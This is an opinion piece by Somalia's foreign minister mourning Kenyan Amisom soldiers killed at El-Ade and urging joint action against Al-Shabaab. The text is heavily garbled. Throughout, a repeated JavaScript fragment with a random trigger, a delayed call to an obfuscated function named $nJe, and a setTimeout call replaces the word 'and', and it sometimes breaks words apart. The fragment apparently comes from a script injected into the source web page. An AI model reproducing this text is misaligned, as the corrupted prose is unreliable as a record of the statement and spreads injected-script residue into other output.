Terrorism is one of the greatest evils the world faces today.

There is no greater challenge than defeating it because so much of our collective progress depends on stability, security dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and partnership.

These are the very enablers of development that terrorist groups like Al-Shabaab do not want to see happen in the Horn of Africa.

The Government of Somalia shares the pain of the loss of our Kenyan brothers dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and sisters in arms who came to restore dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and advance hope dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and peace in Somalia as part of Amisom.

Indeed their loss, which resulted from a terrorist attack on their base in El-Ade on Friday, is heart-breaking.

However, as we mourn the passing of these heroes dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and stdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and in solidarity with the survivors dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the families of all the victims, we must direct our collective anger at defeating the enemy: terrorism.

From the tragedies the world witnessed in Paris, Istanbul, Jakarta dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Ougadougou, we know terrorism is one of the greatest challenges the world faces.

We should be under no illusions dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and understdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and that the terrorists we are fighting are tough dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and determined enemies.

Tough because they have no regard for human life dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and determined because they are driven either by an extreme, twisted dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and arrogant belief in their own moral superiority or pursuit of material gain.

Somalia dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Kenya are brotherly nations whose future prospects are intertwined.

What affects one will certainly have an impact on the other dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and as such our governments are working together to defeat terrorism in many ways already.

SEALING SECURITYGAPS

We are sharing intelligence dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and working alongside one another on the ground both in Somalia dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Kenya.

More crucially, our two governments have proved time dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and again that they will not allow Al-Shabaab to achieve their goal of dividing us.

Despite our collaborative efforts, more needs to be done, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and quickly, to enhance knowledge sharing, border management dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and monitoring dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and economic development to close the vital security gaps that Al-Shabaab exploits.

We also need to reach out to our youth who are being radicalised dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and misled by baseless ideological nonsense which rests on the twin pillars of hate dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and societal destruction.

The Somali National Army is working closely with their partners on the ground, Amisom, of which Kenya is an important contributing State, to rid the evil of terror from Somali soil.

Their valiant efforts has returned the vast majority of Somali territory into government hdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and ensured the weakening of Al-Shabaab operations.

The best evidence of this is that the Somali leadership is in the Somali city of Kismayo today, defended dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and protected by the Somali National Army dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and KDF as they discuss key state building matters which will ensure Somalia’s progress towards stability dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and prosperity.

AVOID COMPLACENCY

Today, the weakened Al-Shabaab is ideologically despised by the Somali people dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and they are mainly limited to carrying out opportunistic attacks on innocent civilians dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and private properties.

However, we cannot dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and will not be complacent.

We will not dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and cannot rest until Al-Shabaab is militarily dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and ideologically annihilated for the mutual benefit of our two nations.

The surest way to deliver the killer blow to Al-Shabaab dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and terrorism in the Horn of Africa is for all nations to share information, enhancing border management dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and by making financial transactions more transparent.

We have a common enemy in terrorism dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and we must defeat this evil collectively for a safer, progressive dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and prosperous region dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and world.

Dr Abdusalam is Somalia’s Minister for Foreign Affairs dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Investment Promotion

By DR ABDUSALAM H. OMER